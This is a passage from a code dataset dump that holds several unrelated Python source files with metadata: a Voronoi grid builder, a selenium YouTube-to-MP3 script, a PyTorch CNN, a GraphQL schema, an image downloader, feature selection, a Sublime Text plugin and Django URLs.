np.vstack((bdry_pts[::-1], np.ones_like(bdry_pts)))\n west = np.vstack((np.zeros_like(bdry_pts), bdry_pts[::-1]))\n south = np.vstack((bdry_pts, np.zeros_like(bdry_pts)))\n\n pts = np.hstack((east, north, west, south, pts))\n\n # Use Scipy to generate the Voronoi grid\n vor = scipy.spatial.Voronoi(pts[:2, :].T)\n\n # Connect infinite faces to a boundary node\n ridge_dict = dict((tuple(sorted(k)), v) for k, v in vor.ridge_dict.items())\n\n bdry_ind_0 = np.arange(4 * num_bdry_els)\n bdry_ind_1 = np.roll(bdry_ind_0, -1)\n\n new_verts = np.zeros((2, bdry_ind_0.size))\n num_verts = vor.vertices.shape[0]\n\n int_to_bdry = {}\n\n for id0, id1 in zip(bdry_ind_0, bdry_ind_1):\n new_verts[:, id0] = (pts[:, id0] + pts[:, id1]) / 2\n\n dashed_line = ridge_dict[tuple(sorted((id0, id1)))]\n face_indx = vor.ridge_vertices.index(dashed_line)\n\n int_to_bdry[vor.ridge_vertices[face_indx][1]] = num_verts + id0\n vor.ridge_vertices[face_indx][0] = num_verts + id0\n vor.ridge_vertices.append([num_verts + id0, num_verts + id1])\n\n # Sort ridge_vertices for quick lookup\n [rv.sort() for rv in vor.ridge_vertices]\n\n # Complete regions at the boundary\n for id0 in bdry_ind_0:\n region_nodes = vor.regions[vor.point_region[id0]]\n\n idx = region_nodes.index(-1)\n region_nodes[idx : idx + 1] = [\n int_to_bdry[region_nodes[idx - 1]],\n int_to_bdry[region_nodes[idx - len(region_nodes) + 1]],\n ]\n\n corner_idx = np.arange(num_bdry_els - 1, 4 * num_bdry_els, num_bdry_els)\n new_verts[:, corner_idx] = np.round(new_verts[:, corner_idx])\n\n vor.vertices = np.vstack((vor.vertices, new_verts.T))\n\n # Get the node coordinates\n nodes = vor.vertices.T\n nodes = np.vstack((nodes, np.zeros(nodes.shape[1])))\n\n # Derive face-node connectivity\n internal_faces = [f for f in vor.ridge_vertices]\n indices = np.hstack(internal_faces)\n indptr = 2 * np.arange(len(internal_faces) + 1)\n data = np.ones(2 * len(internal_faces), dtype=int)\n vor.ridge_points\n face_nodes = sps.csc_matrix((data, indices, indptr))\n\n # Compute cell-face connectivity\n\n # Extract the start and end nodes of the region faces\n internal_regions = [r for r in vor.regions if len(r) > 0]\n\n for indx, r in enumerate(internal_regions):\n check = pp.geometry_property_checks.is_ccw_polygon(nodes[:2, r])\n internal_regions[indx] = r[:: 2 * check - 1]\n\n start_node = np.hstack(internal_regions)\n end_node = np.hstack([np.roll(r, -1) for r in internal_regions])\n\n # Construct a matrix with ones on the nodes for each region face\n face_finder_indices = np.vstack((start_node, end_node)).ravel(\"F\")\n face_finder_indptr = 2 * np.arange(start_node.size + 1)\n face_finder = sps.csc_matrix(\n (np.ones_like(face_finder_indices), face_finder_indices, face_finder_indptr)\n )\n\n # Multiply with face_nodes to match region faces with their global number\n FaFi = face_finder.T @ face_nodes\n\n # Extract the indices, indptr and orientation\n cf_data = np.sign(end_node - start_node).astype(int)\n cf_indices = FaFi.indices[FaFi.data == 2]\n cf_indptr = np.hstack((0, np.cumsum([len(r) for r in internal_regions])))\n\n assert (\n cf_data.size == cf_indices.size\n ), \"Try coarsening the boundaries or increasing the number of interior points\"\n\n cell_faces = sps.csc_matrix((cf_data, cf_indices, cf_indptr))\n\n # Generate a PyGeoN grid\n super().__init__(2, nodes, face_nodes, cell_faces, name)\n", "repo_name": "compgeo-mox/pygeon", "sub_path": "src/pygeon/grids/voronoi.py", "file_name": "voronoi.py", "file_ext": "py", "file_size_in_byte": 4590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygeon.Grid", "line_number": 9, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 31, "usage_type": "call"}, {"api_name": "scipy.sparse.spatial.Voronoi", "line_number": 34, "usage_type": "call"}, {"api_name": "scipy.sparse.spatial", "line_number": 34, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 83, "usage_type": "call"}, {"api_name": "scipy.sparse.csc_matrix", "line_number": 85, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 85, "usage_type": "name"}, {"api_name": "porepy.geometry_property_checks.is_ccw_polygon", "line_number": 93, "usage_type": "call"}, {"api_name": "porepy.geometry_property_checks", "line_number": 93, "usage_type": "attribute"}, {"api_name": "numpy.hstack", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 101, "usage_type": "call"}, {"api_name": "scipy.sparse.csc_matrix", "line_number": 102, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 102, "usage_type": "name"}, {"api_name": "numpy.ones_like", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 112, "usage_type": "call"}, {"api_name": "scipy.sparse.csc_matrix", "line_number": 118, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 118, "usage_type": "name"}]} {"seq_id": "13827204327", "text": "from selenium import webdriver\r\nimport time\r\n\r\n\r\nprint(\"Enter youtube URL: \",end=\" \")\r\nurl_user=input()\r\n\r\n#The line below is used to import the webdriver. You can replace chrome by your favourite web browser. Check the readme for more info!\r\ndriver=webdriver.Chrome()\r\ndriver.get(\"https://ytmp3.cc/en13/\")\r\n\r\nurlBar=driver.find_element_by_xpath(\"//*[@id='input']\")\r\nurlBar.send_keys(url_user)\r\n\r\ndriver.find_element_by_xpath(\"//*[@id='submit']\").click()\r\n\r\n#I made this 10 second pause, in order for the converter to process longer videos, howerver you can reduce the hold to a second or two. Check the readme for more info!\r\ntime.sleep(10)\r\ndriver.find_element_by_xpath(\"//*[@id='buttons']/a[1]\").click()\r\ndriver.close()", "repo_name": "aaronhaddad-zz/yt-to-mp3", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 722, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 9, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 9, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 18, "usage_type": "call"}]} {"seq_id": "70548589665", "text": "from pathlib import Path\nimport csv\n\ndldir_name = 'download1/225.csv'\ndldir_path = Path(dldir_name)\ndldir_new_name = 'download1/226.csv'\n\n# Read CSV file\nwith open(dldir_path, mode=\"r\", encoding=\"utf-8\") as rf:\n reader = csv.reader(rf)\n # Header Skip\n next(reader)\n # Output File\n with open(dldir_new_name, mode=\"w\", encoding=\"utf-8\") as wf:\n writer = csv.writer(wf)\n writer.writerow([\"id\"])\n # Output Row\n for line in reader:\n writer.writerow([line[0]*2])\n", "repo_name": "harutotanabe09/PythonE2ETool", "sub_path": "demo_filecontrol.py", "file_name": "demo_filecontrol.py", "file_ext": "py", "file_size_in_byte": 511, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pathlib.Path", "line_number": 5, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 10, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 15, "usage_type": "call"}]} {"seq_id": "43313133662", "text": "import logging\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nlogger = logging.getLogger(__name__)\n\nclass Model_2(nn.Module):\n '''Define an exsample CNN model, which should slightly better that Model_1.\n \n Ref: https://shonit2096.medium.com/cnn-on-cifar10-data-set-using-pytorch-34be87e09844\n '''\n \n def __init__(self):\n super().__init__()\n # Convolutional layer\n self.conv1 = nn.Conv2d(3, 16, 3, padding=1)\n self.conv2 = nn.Conv2d(16, 32, 3, padding=1)\n self.conv3 = nn.Conv2d(32, 64, 3, padding=1)\n # Max pooling layer\n self.pool = nn.MaxPool2d(2, 2)\n # Fully connected layers\n self.fc1 = nn.Linear(64 * 4 * 4, 512)\n self.fc2 = nn.Linear(512, 64)\n self.fc3 = nn.Linear(64, 10)\n # Dropout\n self.dropout = nn.Dropout(p=0.5)\n\n def forward(self, x):\n # Add sequence of convolutional and max pooling layers\n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n x = self.pool(F.relu(self.conv3(x)))\n # Flattening\n x = x.view(-1, 64 * 4 * 4)\n # Fully connected layers\n x = self.dropout(F.relu(self.fc1(x)))\n x = self.dropout(F.relu(self.fc2(x)))\n x = self.fc3(x)\n return x", "repo_name": "xzhxzhxzhxzhxzh/ML-Projects", "sub_path": "models/model_2.py", "file_name": "model_2.py", "file_ext": "py", "file_size_in_byte": 1287, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 5, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 7, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 37, "usage_type": "name"}]} {"seq_id": "3654754128", "text": "import graphene\nfrom graphene_django import DjangoObjectType\n\nfrom .models import Category, Product, Image\n\n\nclass CategoryType(DjangoObjectType):\n class Meta:\n model = Category\n fields = (\"id\", \"name\", \"parent\", \"ordering\", \"slug\", \"is_active\")\n\n\nclass ProductImageType(DjangoObjectType):\n class Meta:\n model = Image\n field = (\n \"id\",\n \"product\",\n \"name\",\n \"image\",\n \"image_ppoi\",\n \"alt_text\",\n \"is_feature\",\n \"created_at\",\n \"updated_at\",\n )\n\n def resolve_image(self, info) -> str:\n if self.image:\n self.image = info.context.build_absolute_uri(self.image.url)\n return self.image\n\n\nclass ProductType(DjangoObjectType):\n class Meta:\n model = Product\n fields = (\n \"id\",\n \"title\",\n \"category\",\n \"vendor\",\n \"description\",\n \"slug\",\n \"price\",\n \"is_available\",\n \"condition\",\n \"created_at\",\n \"updated_at\",\n )\n\n\nclass Query(graphene.ObjectType):\n all_Categories = graphene.List(CategoryType)\n category_by_name = graphene.Field(CategoryType, name=graphene.String(required=True))\n all_Products = graphene.List(ProductType)\n all_Products_by_name = graphene.Field(\n ProductType, slug=graphene.String(required=True)\n )\n\n def resolve_category_by_name(self, info, name) -> CategoryType:\n try:\n return Category.objects.get(name=name)\n except Category.DoesNotExist:\n return None\n\n def resolve_all_Products_by_name(self, info, slug) -> ProductType:\n try:\n return Product.objects.get(slug=slug)\n except Product.DoesNotExist:\n return None\n\n def resolve_all_Categories(self, info) -> CategoryType:\n return Category.objects.filter(level=1)\n\n def resolve_all_Products(self, info) -> ProductType:\n return Product.objects.all()\n", "repo_name": "israelias/thrifthub", "sub_path": "backend/store/schema.py", "file_name": "schema.py", "file_ext": "py", "file_size_in_byte": 2035, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28, "dataset": "github-code", "pt": "7", "api": [{"api_name": "graphene_django.DjangoObjectType", "line_number": 7, "usage_type": "name"}, {"api_name": "models.Category", "line_number": 9, "usage_type": "name"}, {"api_name": "graphene_django.DjangoObjectType", "line_number": 13, "usage_type": "name"}, {"api_name": "models.Image", "line_number": 15, "usage_type": "name"}, {"api_name": "graphene_django.DjangoObjectType", "line_number": 34, "usage_type": "name"}, {"api_name": "models.Product", "line_number": 36, "usage_type": "name"}, {"api_name": "graphene.ObjectType", "line_number": 52, "usage_type": "attribute"}, {"api_name": "graphene.List", "line_number": 53, "usage_type": "call"}, {"api_name": "graphene.Field", "line_number": 54, "usage_type": "call"}, {"api_name": "graphene.String", "line_number": 54, "usage_type": "call"}, {"api_name": "graphene.List", "line_number": 55, "usage_type": "call"}, {"api_name": "graphene.Field", "line_number": 56, "usage_type": "call"}, {"api_name": "graphene.String", "line_number": 57, "usage_type": "call"}, {"api_name": "models.Category.objects.get", "line_number": 62, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 62, "usage_type": "name"}, {"api_name": "models.Category.DoesNotExist", "line_number": 63, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 63, "usage_type": "name"}, {"api_name": "models.Product.objects.get", "line_number": 68, "usage_type": "call"}, {"api_name": "models.Product.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "models.Product", "line_number": 68, "usage_type": "name"}, {"api_name": "models.Product.DoesNotExist", "line_number": 69, "usage_type": "attribute"}, {"api_name": "models.Product", "line_number": 69, "usage_type": "name"}, {"api_name": "models.Category.objects.filter", "line_number": 73, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 73, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 73, "usage_type": "name"}, {"api_name": "models.Product.objects.all", "line_number": 76, "usage_type": "call"}, {"api_name": "models.Product.objects", "line_number": 76, "usage_type": "attribute"}, {"api_name": "models.Product", "line_number": 76, "usage_type": "name"}]} {"seq_id": "74125875742", "text": "from typing import Any\nimport cv2\nimport numpy as np\nimport openpyxl\nimport os\nimport requests\n\n\nclass ImageSample:\n # class to download the sample images from the XLSX file\n def __init__(self, file_path: str):\n self.file_path = file_path\n self.image_dict = {}\n os.makedirs(\"data/initial_images\", exist_ok=True)\n os.makedirs(\"data/final_images\", exist_ok=True)\n\n def read_xlsx_file(self):\n try:\n workbook = openpyxl.load_workbook(self.file_path)\n sheet = workbook.active\n\n for row in sheet.iter_rows(min_row=2, values_only=True):\n key = row[0]\n initial_image_url = row[3]\n final_image_url = row[4]\n\n if not key or not initial_image_url or not final_image_url:\n continue\n\n self.image_dict[key] = {\n 'initial_image': self.download_image(\n initial_image_url, \"data/initial_images/\"),\n 'final_image': self.download_image(\n final_image_url, \"data/final_images/\")\n }\n\n except Exception as e:\n print(f\"Error while reading the XLSX file: {e}\")\n\n def download_image(self, url: str, image_directory: str) -> Any:\n image_path = image_directory + os.path.basename(url)\n if os.path.exists(image_path):\n return self.read_image(image_path)\n try:\n response = requests.get(url)\n if response.status_code == 200:\n\n with open(image_path, 'wb') as f:\n f.write(response.content)\n\n print(f\"Downloaded: {url} -> {image_path}\")\n return response.content\n else:\n print(\n f\"Failed to download: {url})\")\n return None\n\n except Exception as e:\n print(f\"Error while downloading {url}: {e}\")\n return None\n\n def read_image(self, image_path: str) -> np.ndarray:\n try:\n image = cv2.imread(image_path)\n return image\n except Exception as e:\n print(f\"Error while reading the image: {e}\")\n return None\n\n def get_image_dict(self):\n return self.image_dict\n", "repo_name": "OValery16/background-switcher", "sub_path": "data_preparation.py", "file_name": "data_preparation.py", "file_ext": "py", "file_size_in_byte": 2283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.makedirs", "line_number": 14, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 15, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 45, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 40, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 62, "usage_type": "attribute"}]} {"seq_id": "32811777108", "text": "# -*- coding:utf-8 -*-\r\n# 作者：KKKC\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.ensemble import RandomForestClassifier as RF # random forest\r\nfrom sklearn.feature_selection import chi2, VarianceThreshold\r\n\r\n\r\ndef Get_feature():\r\n train_data = pd.read_csv('G:/ML/balanced_data.csv')\r\n test_data = pd.read_csv('G:/ML/Test-min-max.csv')\r\n x_train = train_data.iloc[:,0:-1]\r\n y_train = train_data.iloc[:,-1]\r\n name = x_train.columns.values\r\n print(name)\r\n x_test = test_data.iloc[:,0:-1]\r\n y_test = test_data.iloc[:,-1]\r\n # 划分训练集和测试集\r\n # x_train , x_test , y_train, y_test = train_test_split(X,Y,test_size=0.3)\r\n chi = chi2(x_train,y_train)\r\n sort = np.argsort(chi[0])[::-1]# 对卡方值进行排序\r\n feature = sort[0:30] # 排名前30的特征\r\n print(feature)\r\n\r\n # name list\r\n feature_name = []\r\n for i in feature:\r\n feature_name.append(name[i])\r\n\r\n print(feature_name)\r\n\r\n # 转化为pd\r\n x_train = pd.DataFrame(x_train)\r\n x_test = pd.DataFrame(x_test)\r\n\r\n for i in x_train.columns:\r\n if i not in feature_name:\r\n x_train.drop(i,axis=1,inplace=True)\r\n x_test.drop(i,axis=1,inplace=True)\r\n\r\n print(x_train.shape)\r\n\r\n # 构建rf模型进行进一步的特征选择\r\n\r\n model = RF(n_estimators=100,oob_score=True,random_state=1234)\r\n model = model.fit(x_train,y_train)\r\n feature_list = model.feature_importances_ # 重要性列表\r\n feature_sort = np.argsort(feature_list)[::-1] # 排序\r\n feature_rf = feature_sort[0:2] # 2个特征，筛选几个改几个\r\n\r\n # 获取相应特征的名字\r\n name = []\r\n for i in feature_rf:\r\n name.append(x_train.columns[i])\r\n\r\n print(name)\r\n\r\n # 删除其他特征\r\n for i in x_train.columns:\r\n if i not in name:\r\n x_train.drop(i,axis=1,inplace=True)\r\n x_test.drop(i,axis=1,inplace=True)\r\n\r\n #\r\n x_train.to_csv('C:/Users/HP/Desktop/x_train.csv')\r\n x_test.to_csv('C:/Users/HP/Desktop/x_test.csv')\r\n y_train.to_csv('C:/Users/HP/Desktop/y_train.csv')\r\n y_test.to_csv('C:/Users/HP/Desktop/y_test.csv')\r\n return x_train,x_test,y_train,y_test\r\n", "repo_name": "KKKc3231/ML-DL_IDS", "sub_path": "ML/get_feature.py", "file_name": "get_feature.py", "file_ext": "py", "file_size_in_byte": 2203, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "sklearn.feature_selection.chi2", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 49, "usage_type": "call"}]} {"seq_id": "30752671027", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:fileencoding=utf-8\nimport sublime\nimport sublime_plugin\nimport re\nimport datetime\n\nclass StrToPs(sublime_plugin.TextCommand):\n def run(self, edit):\n print(\"___________NEW RUN___________\")\n v = self.view\n resultStr = \"\"\n startTime = datetime.datetime.now()\n regions = v.sel()\n begin = True\n level = 0\n need_skip = False\n print(\"PreFOR\")\n for region in regions:\n s = v.substr(region)\n #ps = s[15:]\n list_res = s.split(\"*\")\n j = 0\n for str_p in list_res:\n print(str(j)+\"-\"+str_p)\n j=j+1\n size_res = len(list_res)\n limit = int(list_res[3])\n cur_index = 7\n st_value = int(list_res[cur_index - 1])\n print(\"PreInvoke TravelTree\")\n resultStr, cur_index = StrToPs.TravelTree(level, 0, st_value, list_res, size_res, size_res, cur_index, resultStr)\n \n if resultStr:\n newView = v.window().new_file()\n newView.run_command(\"append\",{\"characters\": resultStr})\n newView.run_command(\"append\",{\"characters\": \"\\nExecute time: \" + str((datetime.datetime.now() - startTime).seconds) + \" seconds\"})\n #newView.show_popup(, sublime.HTML, location=-1, on_navigate=print)\n newView.set_syntax_file('Packages/User/SiebelLog.tmLanguage')\n sublime.status_message(\"Complete - StrToPS\")\n\n def TravelTree(level, limit, nextLen, list_res, list_size, list_limit_size, start_index, result_str):\n print(\"_____________________InvokeTravelTree\")\n cur_index = start_index\n print(\"cur_index=\"+str(cur_index))\n st_value = nextLen\n print(\"st_value=\"+str(st_value))\n resultStr = result_str\n print(\"resultStr=\"+str(resultStr))\n\n begin = True\n first_run = True\n local_limit = limit\n print(\"local_limit=\"+str(local_limit))\n cur_limit = 0\n while True:\n if cur_index > list_limit_size or cur_index >= list_size or (local_limit > 0 and cur_limit >= local_limit):\n print(\"c=\"+str(cur_index)+\" l=\"+str(list_size)+\" ll=\"+str(list_limit_size))\n print(\"local_limit=\"+str(local_limit)+\" cur_limit=\"+str(cur_limit))\n return [resultStr, cur_index - 1]\n else:\n print(\"cur_index=\"+str(cur_index))\n print(\"st_value=\"+str(st_value))\n cur_str = list_res[cur_index]\n print(\"cur_str=\"+cur_str)\n if begin:\n if cur_str.isdigit():\n print(\"resultStrPRETRAVEL=\"+resultStr)\n print(\"cur_index=\"+str(cur_index))\n print(\"level=\"+str(level))\n print(\"list_size=\"+str(list_size))\n print(\"list_limit_size=\"+str(list_limit_size))\n print(\"list_res[cur_index]=\"+list_res[cur_index])\n print(\"st_value=\"+str(st_value))\n next_level = level + 1\n next_lenght = int(list_res[cur_index + 1])\n next_position = cur_index + 2\n next_size = next_position + st_value * 2 + int(cur_str) + 1\n print(\"next_position=\"+str(next_position))\n print(\"next_lenght=\"+str(next_lenght))\n #cur_index = cur_index + 2\n #resultStr, cur_index = StrToPs.TravelTree(next_level, next_lenght, list_res, next_size, next_position, resultStr)\n if int(cur_str) == 0:\n resultStr, cur_index = StrToPs.TravelTree(next_level, 0, next_lenght, list_res, list_size, next_size, next_position, resultStr)\n else:\n resultStr, cur_index = StrToPs.TravelTree(next_level, int(cur_str), next_lenght, list_res, list_size, list_size, next_position, resultStr)\n cur_limit = cur_limit + 1\n #return [resultStr, cur_index]\n else:\n begin = False\n i = 0\n if first_run:\n lvl_tmp = level - 1\n first_run = False\n else:\n lvl_tmp = level\n\n while i < lvl_tmp:\n resultStr = resultStr + \"-\"\n i = i + 1\n\n resultStr = resultStr + \"[\" + cur_str[:st_value] + \"]\"\n #print(\"bName=\"+cur_str)\n #print(\"bSize=\"+cur_str[st_value:])\n st_value = int(cur_str[st_value:])\n else:\n begin = True\n #print(cur_str)\n #print(cur_str[:st_value])\n #print(cur_str[st_value:])\n if st_value > 0:\n resultStr = resultStr + \"='\" + cur_str[:st_value] +\"'\\n\"\n else:\n resultStr = resultStr + \"\\n\"\n #print(\"st=\"+str(st_value) +\" len=\"+str(len(cur_str)))\n #if st_value < len(cur_str):\n if cur_index <= list_size:\n st_value = int(cur_str[st_value:])\n cur_index = cur_index + 1\n\n\n\n\n\n #print (str(list_res[7])[:int(st_value)])\n #while cur_index < size_res:\n # cur_str = list_res[cur_index]\n # if begin:\n # if cur_str.isdigit():\n # cur_index = cur_index + 1\n # level = level + 1\n # cur_str = list_res[cur_index]\n # st_value = int(cur_str)\n # else:\n # begin = False\n # i = 0\n # while i < level:\n # resultStr = resultStr + \"-\"\n # i = i + 1\n # resultStr = resultStr + \"[\" + cur_str[:st_value] + \"]\"\n # print(\"bName=\"+cur_str)\n # print(\"bSize=\"+cur_str[st_value:])\n # st_value = int(cur_str[st_value:])\n # else:\n # begin = True\n #print(cur_str)\n #print(cur_str[:st_value])\n #print(cur_str[st_value:])\n # resultStr = resultStr + \"='\" + cur_str[:st_value] +\"'\\n\"\n #print(\"st=\"+str(st_value) +\" len=\"+str(len(cur_str)))\n # if st_value < len(cur_str):\n # st_value = int(cur_str[st_value:])\n # cur_index = cur_index + 1\n\n\n ##k = 1\n ##for res in list_res:\n ## if len(res) > 1 or (len(res) == 1 and k == size_res):\n ## if not need_skip:\n ## if begin:\n ##Если ==1, значить проперти\n ## if int(res[-1:]) != 0:\n ## i = 0\n ## while i < level:\n #resultStr = resultStr + \"-\"\n ## i = i + 1\n #resultStr = resultStr + res[:-1]\n ## begin = False\n ##Иначе дочерний элемент\n ## else:\n ## level = level + 1\n ## i = 0\n ## while i < level:\n ## resultStr = resultStr + \"-\"\n ## i = i + 1\n #resultStr = resultStr + res[:-1] + \"\\n\"\n ## need_skip = True\n #else:\n ##Если последний элемент, то не обрезаем последний символ\n #if k == size_res:\n #resultStr = resultStr + \"=\" + res + \"\\n\"\n ##Обрезаем последний символ элемента\n #else:\n #resultStr = resultStr + \"=\" + res[:-1] + \"\\n\"\n # begin = True\n #else:\n # need_skip = False\n #else:\n # print(res)\n # need_skip = False\n # begin = True\n #k = k + 1", "repo_name": "gilgameshAlex/siebelsublimeplugins", "sub_path": "Plugin/str_to_ps.py", "file_name": "str_to_ps.py", "file_ext": "py", "file_size_in_byte": 8823, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sublime_plugin.TextCommand", "line_number": 9, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sublime.status_message", "line_number": 41, "usage_type": "call"}]} {"seq_id": "11194824188", "text": "from django.urls import re_path\n\nfrom basketapp.views import (\n view, add, remove\n)\n\napp_name = 'basketapp'\n\nurlpatterns = [\n re_path(r'^$', view, name='view'),\n re_path(r'^add/(?P\\d+)/$', add, name='add'),\n re_path(r'^remove/(?P\\d+)/$', remove, name='remove')\n]\n", "repo_name": "vidyakov/strapshop", "sub_path": "basketapp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.re_path", "line_number": 10, "usage_type": "call"}, {"api_name": "basketapp.views.view", "line_number": 10, "usage_type": "argument"}, {"api_name": "django.urls.re_path", "line_number": 11, "usage_type": "call"}, {"api_name": "basketapp.views.add", "line_number": 11, "usage_type": "argument"}, {"api_name": "django.urls.re_path", "line_number": 12, "usage_type": "call"}, {"api_name": "basketapp.views.remove", "line_number": 